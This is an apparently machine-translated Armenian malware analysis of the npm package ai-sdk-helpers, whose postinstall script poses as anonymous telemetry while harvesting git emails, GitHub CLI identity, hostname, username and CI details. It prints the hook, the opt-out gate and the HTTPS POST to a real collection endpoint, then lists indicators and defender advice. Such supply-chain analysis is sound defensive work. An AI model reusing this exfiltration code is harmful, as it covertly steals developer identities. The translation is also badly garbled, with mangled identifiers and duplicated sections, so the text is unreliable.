ConsentMask npm փաթեթը թաքցնում է մշակողի ինքնության հավաքագրումը

ConsentMask. npm փաթեթ, որը Developer-Identity Harvesting-ի վերևում կրում է հեռաչափման համաձայնության ցուցանակ։

TL. DR

Մեկ npm փաթեթ, ai-sdk-օգնականներ, ներկայանում է որպես Vercel AI SDK-ի արտադրական գործիքակազմ՝ առաջարկելով ծախսերի հետևում, մատակարարի պահեստային հնարավորություններ և հոսքային հեռարձակման օգնականներ։

Դրա տեղադրման ժամանակի սկրիպտը բացվում է հղկված բացահայտման պաստառով, որը նկարագրում է անանուն ախտորոշում, խոստանալով, որ ոչ մի աղբյուրի կոդ, տոկեն կամ հավատարմագրեր չեն փոխանցվի, հարգելով a-ն DO_NOT_TRACK հրաժարվելը և հեռաչափման քաղաքականության էջին հղում տալը։

Նույն սկրիպտը այնուհետև կարդում է մշակողի git id-ն, GitHub CLI կոնֆիգուրացիան, մեքենայի հոսթի անունը, օպերացիոն համակարգի օգտատիրոջ անունը, աշխատանքային գրացուցակը և CI մատակարարը։

Այդ տվյալները JSON ձևաչափով տեղադրվում են Google Cloud Run վերջնակետում՝ ստեղծելով հստակ անհամապատասխանություն նշված հեռաչափման քաղաքականության և հավաքված իրական դաշտերի միջև։

Փաթեթը հրապարակվել է քսաներկու տարբերակով՝ մեկ 83 վայրկյան տևողությամբ պոռթկման ընթացքում, և տեղադրման սկրիպտը բայթ առ բայթ նույնական է բոլոր նշված տարբերակներում։

Մեր կողմից վերանայված ութ տարբերակներից յոթը pipeline ML դասակարգչի կողմից գնահատվել են անհամոզիչ, քանի որ համաձայնության ցուցանակի ոճը կարդացվում է որպես օրինական հեռաչափություն։

Մենք դասակարգում ենք ai-sdk-helpers որպես վնասակար՝ հիմնված տեղադրման ժամանակ մշակողի ինքնության հավաքագրման և արտանետման վրա։

Լարվածություն՝ բարձր։

 Տեղադրման անատոմիա

{   "scripts": {     "postinstall": "node scripts/postinstall.js"   } }

հետինստալյացիա աշխատում է ավտոմատ կերպով npm տեղադրել, նախքան փաթեթի գովազդվող կոդերից որևէ մեկը ներմուծվի։ Սկրիպտը սկրիպտներ/postinstall.js այստեղ է գտնվում տեղադրման ժամանակի բոլոր գործողությունները։

Այն բացվում է մեկնաբանության բլոկով և գաղտնիության պահպանմանը նպաստող բաց կոդով նախագծի գրանցամատյանում գրված գործարկման ծանուցմամբ։

> Երբ դուք տեղադրում եք ai-sdk-helpers-ը, մենք արագ ստուգում ենք միջավայրի համատեղելիությունը և հաղորդում անանուն ախտորոշման մասին… Տվյալները լիովին անանուն են. մենք հավաքում ենք ձեր հարթակը, Node տարբերակը և ձեր մեքենայի նույնականացուցիչի միակողմանի հեշը: Ոչ մի սկզբնական կոդ, տոկեն կամ հավատարմագրեր երբեք չեն փոխանցվում:

Այն նույնիսկ միացնում է գործող հրաժարման դարպասը, ֆայլի առաջին կատարվող կոդը։

if (   process.env.AI_SDK_HELPERS_TELEMETRY_DISABLED === "1" ||   process.env.DO_NOT_TRACK === "1" ) {   process.exit(0); }

այս դարպասը նախ կապելն է, ինչը մնացածը դարձնում է համաձայնեցված. մշակող, որը սահմանում է `D_ՉՀԵՏԵՎԵԼ` տեղադրումն անաղմուկ ավարտվում է և եզրակացվում, որ փաթեթը հարգում է կոնվենցիան։ Պատվավոր հրաժարումը իրական է։ Այն, ինչ այն չի սահմանում, ներքևում նկարագրված հավաքածուն է, այլ ոչ թե ավելի նեղ «հարթակ, Node տարբերակ և միակողմանի հեշ», ինչպես նշված է ծանուցման մեջ։

Այդ դարպասի տակ սկրիպտը հավաքում է մի բեռնվածություն, որը շատ ավելի լայն է, քան այդ նկարագրությունը։

  • *Gինքնություն։* rլուծելScmIdentity()` eads `~.gitconfig`,`~.config/git/config`,և ներկայիս նախագծի `.it/config`,վերլուծում է `[սեր]` ection, և վերադարձնում է կարգավորված commit էլ. փոստ։ Եթե կարգավորման ֆայլը էլ. փոստ չի տալիս, այն վերադառնում է `GT_AUTHOR_EMAIL`,`GT_COMMITTER_EMAIL`,և՝ԷԱԻԼ` միջավայրի փոփոխականներ։ Ֆունկցիայի վերևում գտնվող docstring-ը ընթերցումը ներկայացնում է որպես «նույն անձին պատկանող մեքենաների միջև տեղադրումները կրկնօրինակելուց հանելու միջոց (օրինակ՝ նոութբուք + CI)»՝ նշված նպատակ, որը պահանջում է կայուն յուրաքանչյուր մշակողի նույնականացուցիչ, որը commit էլեկտրոնային փոստի պարագաներ։
  • *GtHub հաշիվ։* rsolveGitHubIdentity()` eads `~.config/gh/hosts.yml` և `~.config/gh/hosts.yaml` GitHub CLI-ի կողմից գրված կոնֆիգուրացիայի ֆայլը, երբ մշակողը նույնականացնում է այն և regex-ով արդյունահանում է `u-ն։էր:` և `եցավ:` դաշտեր։ Այդ ֆայլը նաև պահում է GitHub OAuth տոկենը. սկրիպտի regex-ը հատուկ ուղղված է օգտատիրոջ անվան և էլ․ փոստի տողերին և չի արդյունահանում տոկենը։ Հետևաբար, բացահայտման բանների «ոչ մի տոկեն… երբեք չի փոխանցվում» պնդումը բառացիորեն ճիշտ է այդ մեկ դաշտի համար, մինչդեռ շրջակա հաշվի նույնականացուցիչները կարդացվում և ուղարկվում են։
  • *Hst և CI մատնահետք։* Այնուհետև սկրիպտը հավաքում է `o.hostname()`,`o.օգտատիրոջԻնֆո().օգտատիրոջանուն`,Node տարբերակը, հարթակը և ճարտարապետությունը, `pգործընթաց.cwd()`,և CI-մատակարարի պիտակ, որը լուծվել է ութ մատակարարների միջավայրի փոփոխականները ստուգելով (GitHub Actions, GitLab CI, Jenkins, CircleCI, Travis, Buildkite և երկու generic-CI դրոշներ): Մատակարարների ցանկը կարդացվում է որպես այն վայրի ցանկ, որտեղ սկրիպտը ակնկալում է կատարել՝ ինտերակտիվ shells և ավտոմատացված կառուցման համակարգեր: pipelineնման են.

Սրանք բոլորը խմբավորված են մեկ `d-ի մեջագնոստիկներ օբյեկտ, որտեղ յուրաքանչյուր մշակողի դաշտերը հավաքված են `i-ի ներքոկազմակերպություն ey-ը և հոսթի տվյալները `r-ի ներքոntime` նդ `քntext` eys, ապա սերիականացվեց և փոխանցվեց։

const req = https.request(   {     hostname: "npm-package-logger-228835561205.europe-west1.run.app",     path: "/",     method: "POST",     headers: { "Content-Type": "application/json" },     timeout: 5000,   },   () => {} );  req.on("error", () => {}); req.write(body); req.end();

Պատասխանը մերժվում է, և բոլոր սխալները կուլ են տրվում. մեկնաբանությունում նշվում է, որ «հեռաչափությունը երբեք չպետք է խափանի տեղադրումը»: Վերջնակետի հոսթի անունը կոդավորում է Google Cloud Run ծառայությունը `e-ում:պարան-արևմուտք1` շրջան

Բացը պատմությունն է։ Բանները անվանում է տվյալների երեք կատեգորիա՝ հարթակ, հանգույցի տարբերակ, մեքենայի նույնականացուցիչի հեշ։ Բեռնվածությունը ուղարկում է մշակողի իրական գիտը։ commit էլ. փոստը, նրանց GitHub օգտագործողի անունը և էլ. փոստը, նրանց մեքենայի հոսթի անունը և օպերացիոն համակարգի հաշվի անունը, նրանց նախագծի ուղին և նրանց CI միջավայրը: *p-ն նույնականացնող դաշտերըrson-ը և նրանց հաշիվները* հենց այն դաշտերի վերաբերյալ, որոնք բացահայտման մեջ բաց են թողնված։

README-ն ամրապնդում է մյուս կողմից ներկայացված շրջանակը։ Դրա «Հեռաչափություն» բաժինը կրկնում է անանունության պնդումը և կապում է `D բառը։_ՉՀԵՏԵՎԵԼ` o `cnsoledonottrack.com`,իրական համայնքի էջը, որը փաստաթղթավորում է հրաժարման կոնվենցիան՝ փոխառելով ճանաչված գաղտնիության իրավունքը standard որպեսզի ծանուցումը ընթերցվի որպես սովորական։

Խրոնոլոգիա

Սա մեկ փաթեթի համար նախատեսված գտածո է՝ շատ կարճ, շատ խիտ հրապարակման պատմությամբ։ Չկա բազմաշաբաթյա քարոզարշավի շղթա հետևելու՝ ամբողջ տարբերակների շարքը թողարկվել է մեքենայի արագությամբ։

Երբ (UTC) իրադարձություն
2026-06-03 20:31:20 Առաջին տարբերակը (0.1.0) հրապարակվել է npm-ում։
2026-06-03 20:31:20 – 20:32:43 Բոլոր 22 տարբերակները (0.1.0 միջոցով 1.4.2) հրապարակվել է 83 վայրկյան տևողությամբ ավտոմատացված հեռարձակմամբ։
2026-06-04 Ութ տարբերակ նշվել են հայտնաբերման ազդանշաններով. ձեռքով վերլուծությունը հաստատում է տեղադրման ժամանակ նույնականացման հավաքագրումը և դուրսբերումը: Վերլուծության պահին փաթեթը մնացել է ակտիվ npm-ում:

22 սեմանտիկ տարբերակների 83 վայրկյան տևողությամբ պատուհանն ինքնին վարքային ցուցիչ է՝ տարբերակների սանդուղք (`0)1.0`,`01.1`,… 14.2`)ներկայացնում է ակտիվորեն պահպանվող նախագծի մակերեսը՝ թողարկումների պատմությամբ, որը ստեղծվել է մեկ սկրիպտային գործարկմամբ: Տեղադրման սկրիպտը չի փոխվում այդ սանդուղքի երկայնքով՝ տե՛ս ստորև:

Փոխզիջման ցուցիչներ

Տեղադրման ժամանակի բեռնվածությունը նույնական է հրապարակված տարբերակների ամբողջ տիրույթում: A `dֆֆ` ֆ`սripts/postinstall.js` etween տարբերակ `02.1` րդ տարբերակ՝ 14.2` eTreat տարբերություններ չի վերադարձնում։ Վարքագիծը մեկ ֆիքսված մատնահետք է, այլ ոչ թե զարգացող օգտակար բեռ։

Ցանց

22 սեմանտիկ տարբերակների 83 վայրկյան տևողությամբ պատուհանն ինքնին վարքային ցուցիչ է՝ տարբերակների սանդուղք (`0)1.0`,`01.1`,… 14.2`)ներկայացնում է ակտիվորեն պահպանվող նախագծի մակերեսը՝ թողարկումների պատմությամբ, որը ստեղծվել է մեկ սկրիպտային գործարկմամբ: Տեղադրման սկրիպտը չի փոխվում այդ սանդուղքի երկայնքով՝ տե՛ս ստորև:

Փոխզիջման ցուցիչներ

Տեղադրման ժամանակի բեռնվածությունը նույնական է հրապարակված տարբերակների ամբողջ տիրույթում: A `dֆֆ` ֆ`սripts/postinstall.js` etween տարբերակ `02.1` րդ տարբերակ՝ 14.2` eTreat տարբերություններ չի վերադարձնում։ Վարքագիծը մեկ ֆիքսված մատնահետք է, այլ ոչ թե զարգացող օգտակար բեռ։

Ցանց

Ցուցիչ Դեր
npm-package-logger-228835561205.europe-west1.run.app Էքսֆիլտրացիայի վերջնակետը ստանում է HTTPS POST հարցումներ JSON բեռնվածությամբ: Հյուրընկալվում է Google Cloud Run-ում: europe-west1 տարածաշրջանում:

Decoy ենթակառուցվածք

Ցուցիչ Դեր
ai-sdk.guide Փաթեթի գլխավոր էջ և ակտիվ կայք, որը աջակցում է «AI SDK Guide» հեղինակի ինքնությանը։
ai-sdk.guide/telemetry Հեռաչափման քաղաքականության URL-ը, որին հղում է կատարվում տեղադրման ժամանակի բացահայտման ծանուցումը։
hello@ai-sdk.guide Հեղինակի էլ․ հասցեն հայտարարված է package.json.
github.com/ai-sdk-guide/ai-sdk-helpers Փաթեթի կողմից հայտարարված աղբյուրի պահոցը։

Ֆայլերը կարդացվում են տեղադրման ժամանակ

  • -.gitconfig`,`~.config/git/config`,`<wd>/.git/config` գիտ՝[սեր]` փոստ
  • - .config/gh/hosts.yml`,`~.config/gh/hosts.yaml` GitHub CLI`uէր `eէլ

Վարքային ստորագրություններ

  • – մ՝պստինստալ look-ը կանչում է միացված Node սկրիպտը
  • – հրաժարման դարպաս (`A_SDK_HELPERS_TELEMETRY_DISABLED`,`D_ՉՀԵՏԵՎԵԼ`)ներկայացված է որպես գաղտնիության գործառույթ՝ անձնական տվյալների հավաքագրումից առաջ
  • – JSON օբյեկտի tbound HTTPS POST, որը պարունակում է git էլ. փոստ, GitHub ինքնություն, հոսթի անուն, OS օգտագործողի անուն, cwd և CI պիտակ։
  • – նույնական տեղադրման սկրիպտ արագ հրապարակվող տարբերակի սանդուղքի վրա

 Վերագրում և դիտարկվող վարքագիծ
Մենք ոչինչ չենք վերագրում փաթեթի և գրանցամատյանի մետատվյալների գրանցումից այն կողմ։

npm-ի գրառման պահապանը հաշիվն է՝ aԻելսիմոն՝հասցեով՝ `aiel@vigilance.security`:Գրանցամատյանը այդ էլ. փոստը նշում է որպես չհաստատված, իսկ հաշվի աղբյուրի կառավարման ինքնությունը՝ որպես չհաստատված։ `p-նckage.json`,առանձին, հեղինակին ներկայացնում է որպես «AI SDK ուղեցույց»ello@ai-sdk.guide>`”գլխավոր էջով՝ `a-sdk.guide` և աղբյուրի պահոց `g-ի ներքոthub.com/ai-sdk-guide` կազմակերպություն։ Հրատարակչական հաշվի էլ. փոստի տիրույթը (`vigilance.security`)և փաթեթի մեջ գտնվող հեղինակի ինքնությունը (`a-sdk.guide`)տարբեր տիրույթներ են։

-sdk.guide` ite-ը ակտիվ է և արձագանքում է, և `/էլմետրիա ath-ը լուծում է խնդիրը. խայծի ինքնությունը ապահովվում է հասանելի վեբ ներկայությամբ, այլ ոչ թե մեռած հղումով, ինչը բարձրացնում է փաթեթի կառուցվածքի հավաստիությունը։

**Դիտարկված հնարավորություն։** Տեղադրման ժամանակ փաթեթը կարդում է մշակողի ինքնության և հաշվի կարգավորման ֆայլերը, մատնահետքեր է վերցնում հոսթի և CI միջավայրի վրա և արդյունքը փոխանցում օպերատորի կողմից կառավարվող վերջնակետին՝ միաժամանակ ցուցադրելով ծանուցում, որը նկարագրում է ավելի նեղ և անանուն տվյալների հավաքածու։ Մենք նկարագրում ենք այս վարքագիծը. մենք չենք պնդում դրա դրդապատճառը։ Փաթեթը գնահատող ընթերցողները, ներառյալ ցանկացած կողմ, որը ճանաչում է հրատարակչի ինքնությունը, պետք է կշռադատեն նշված և իրական տվյալների հոսքերի միջև դիտարկելի անհամապատասխանությունը։

Ազդեցությունը, միտումները և ուղեցույցը պաշտպանների համար

Ո՞վ է բացահայտվում։ Յուրաքանչյուր ոք, ով տեղադրում է ai-sdk-օգնականներ — ուղղակիորեն կամ որպես անցումային կախվածություն — գործարկում է հավաքածուն այդ մեքենայի վրա։ Քանի որ ձգանն է հետինստալյացիա, գովազդվող գրադարանի կոդը երբեք անհրաժեշտ չէ ներմուծել տվյալների հոսքի իրականացման համար. միայն տեղադրումը բավարար է: Ամենաբարձր արժեք ունեցող միջավայրերը մշակողի աշխատանքային կայաններն են՝ կարգավորված git նույնականացմամբ և GitHub CLI-ի իսկականացմամբ, և CI գործարկիչները, որտեղ սկրիպտի CI մատակարարի հայտնաբերումը ցույց է տալիս, որ հավաքածուն, հավանաբար, կաշխատի build-ի ներսում: pipelines-ում, ինչպես նաև նոութբուքերի վրա։

Ինչը բացահայտում է։ Ընդհանուր դեպքում կիրառման գաղտնիքներ չեն՝ օգտակար բեռը կենտրոնանում է ինքնությունը: մշակողի commit էլ. փոստը, նրանց GitHub հաշվի անունը և էլ. փոստը, մեքենայի և հաշվի անունները, ինչպես նաև նախագծի ուղին: Սա նախնականcisՔարտեզը ցույց է տալիս, թե ով է տեղադրել փաթեթը, որ մեքենայի վրա, որ պահոցում և որ CI համակարգի ներքո։ Կազմակերպության համար նման գրառումների մի քանիսը միասին կթվարկեին, թե որ ինժեներներն ու որ կառուցման համակարգերն են ստեղծել կախվածությունը՝ օգտակար լինելով որպես ավելի նպատակային հետագա գործունեության նախանշան, նույնիսկ եթե այս փաթեթի սեփական վարքագիծը կանգ է առնում հավաքագրման և փոխանցման վրա։

Միտումը. հեռաչափությունը որպես ծածկույթ։ Օրինական մշակողների գործիքները հավաքում են անանուն տեղադրման ախտորոշումներ, և դա հարգալից կերպով կատարելու կոնվենցիաները՝ բացահայտման ծանուցում, ա ՉՀԵՏԵՎԵԼ honor-ը, հրաժարման դրոշը, քաղաքականության URL-ը լավ հայտնի են։ ai-sdk-օգնականներ հավատարմորեն վերարտադրում է այդ չորս կոնվենցիաները և օգտագործում դրանք որպես ինքնության հավաքագրման փաթեթ։ Համաձայնության ցուցանակի, գործող հրաժարման ցուցանակի կամ գաղտնիության քաղաքականության հղման առկայությունը չի վկայում, որ փաթեթը վստահելի է. այդ կառավարման տարրերը էժան են ընդօրինակելու համար։ Միակ հուսալի ստուգումը այն է, թե ինչ է իրականում կարդում կոդը և որտեղ է այն իրականում ուղարկում։

Այս փաթեթավորումը նաև չափելի ազդեցություն ունի ավտոմատացված տեսակավորման վրա։ Մեր բոլոր տարբերակներում pipeline Վերանայված, տեղադրման սկրիպտի պարզ լեզվով մեկնաբանությունները, կառուցվածքային դաշտերի անունները և ավանդական հրաժարման դարպասը գնահատվել են որպես սովորական հեռաչափություն. ութից յոթը վերադարձել են անհամատեղելի ML դասակարգիչից, այլ ոչ թե չարամիտ։ Անորոշությունը լուծող ազդանշանը արձակի մեջ չէ, այլ այն կոնկրետ ֆայլերի մեջ է, որոնք սկրիպտը բացում է (~/.gitconfig, ~/.config/gh/hosts.yml) և այն նպատակակետը, որտեղ այն ուղարկվում է։ Վերանայողը, լինի դա ավտոմատացված, թե մարդկային, որը կարդում է բացահայտումը և կանգ է առնում այնտեղ, կհանգի սխալ եզրակացության. որոշումը պետք է բխի տվյալների հոսքի փաստերից։

Հրահանգներ պաշտպանների համար.

  • Տեղադրել սկրիպտները լռելյայնորեն անջատված վիճակում — npm install –ignore-scripts, կամ սահմանել անտեսել-սկրիպտներ=ճշմարիտ in .npmrc և հստակորեն գործարկել ստուգված կառուցման քայլերը։ Սա չեզոքացնում է հետինստալյացիա- ակտիվացված հավաքագրում ամբողջ տախտակի վրա։
  • Մի՛ դիտարկեք հրաժարման կարգավորումները որպես վստահության ազդանշաններ: Ա ՉՀԵՏԵՎԵԼ ստուգումը կամ «հեռաչափման քաղաքականություն» հղումը ոչինչ չեն ասում սկրիպտի կողմից հավաքվող տվյալների մասին, երբ դարպասը կարգավորված չէ։
  • Արհեստական ​​բանականության էկոհամակարգի օժանդակ փաթեթները կիրառելուց առաջ կարդացեք տեղադրման հպումը: Vercel-ի արհեստական ​​բանականության SDK տարածքը արագ զարգացող, բարձր վստահության թիրախ է. հետինստալյացիա որը դիպչում է ~/.gitconfig or ~/.config/gh/ հստակ ազդանշան է անկախ նրանից, թե ինչպես են գրված շրջապատող մեկնաբանությունները։
  • Մոնիտոր կառուցման ժամանակի ելքը։ HTTPS POST-ի ելքային հաղորդագրություն npm տեղադրել, հատկապես նոր տրամադրված ամպային ֆունկցիայի վերջնակետի համար, դիտարկելի է ցանցային շերտում և հանդիսանում է CI միջավայրերի համար ուժեղ հայտնաբերման կետ։
  • Ուշադրություն դարձրեք սեղմված տարբերակների սանդուղքներին: Փաթեթը, որի ամբողջ իմաստային տարբերակների պատմությունը հայտնվում է վայրկյանների ընթացքում՝ անփոփոխ տեղադրման սկրիպտով, ներկայացնում է ստեղծված սպասարկման պատմություն:
sca-tools-software-composition-analysis-tools
Առաջնահերթություն տվեք, շտկեք և պաշտպանեք ձեր ծրագրային ռիսկերը
Ստացեք ձեր անվճար հաշիվը։
Ոչ մի վարկային քարտ չի պահանջվում:

Ապահովեք ձեր ծրագրային ապահովման մշակումը և մատակարարումը

Xygeni Product Suite-ի հետ